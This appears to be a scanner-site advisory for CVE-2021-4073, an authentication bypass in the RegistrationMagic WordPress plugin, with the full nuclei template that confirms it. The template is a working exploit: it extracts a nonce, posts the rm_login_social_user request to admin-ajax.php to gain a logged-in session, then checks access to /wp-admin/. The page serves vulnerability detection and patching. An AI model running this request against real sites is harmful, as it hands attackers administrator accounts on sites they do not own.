RegistrationMagic <= 5.0.1.7 - Authentication Bypass

criticalseverity

9.8CVSS score

6.8%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

RegistrationMagic WordPress plugin versions <= 5.0.1.7 contain an authentication bypass caused by missing identity validation in social_login_using_email(), letting unauthenticated users log in as any site user, exploit requires knowing a valid username.

Impact

Unauthenticated attackers can log in as any user, including administrators, potentially leading to full site compromise.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: GET {{BaseURL}}{{path}}
Positive when: status_code == 200 and contains_all(body, "handle_data(", "FB.login(")
Send: GET {{BaseURL}}
Positive when: status_code == 200 and contains_all(body, "\"request_processing\":", "\"security\":", "\"hours\":")
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(header, "wordpress_logged_in_") and contains_all(body, "\"code\":", "\"msg\":") and status_code == 200
Send: GET /wp-admin/
Positive when: contains_all(body, '>Profile</div>', 'wp-admin-bar-root-default') and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-4073 -u <target>

The full check

id: CVE-2021-4073

info:
  name: RegistrationMagic <= 5.0.1.7 - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    RegistrationMagic WordPress plugin versions <= 5.0.1.7 contain an authentication bypass caused by missing identity validation in social_login_using_email(), letting unauthenticated users log in as any site user, exploit requires knowing a valid username.
  impact: |
    Unauthenticated attackers can log in as any user, including administrators, potentially leading to full site compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://www.wordfence.com/blog/2021/12/authentication-bypass-vulnerability-patched-in-user-registration-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-4073
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-4073
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-4073
    cwe-id: CWE-287
    epss-score: 0.0684
    epss-percentile: 0.94082
    cpe: cpe:2.3:a:metagauss:registrationmagic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: metagauss
    product: registrationmagic
    framework: wordpress
  tags: cve,cve2021,wordpress,wp,wp-plugin,metagauss,registrationmagic,auth-bypass,vkev,vuln

flow: |
  if (template.path != null) {
    http(1)
  }
  http(2)
  http(3)
  http(4)

variables:
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - method: GET
    path:
      - "{{BaseURL}}{{path}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "handle_data(", "FB.login(")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - "handle_data.*'([0-9a-f]+)'\\);"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"request_processing\":", "\"security\":", "\"hours\":")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"security":"([0-9a-f]+)","hours"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=rm_login_social_user&email={{email}}&security={{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "wordpress_logged_in_")'
          - 'contains_all(body, "\"code\":", "\"msg\":")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '>Profile</div>', 'wp-admin-bar-root-default')"
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from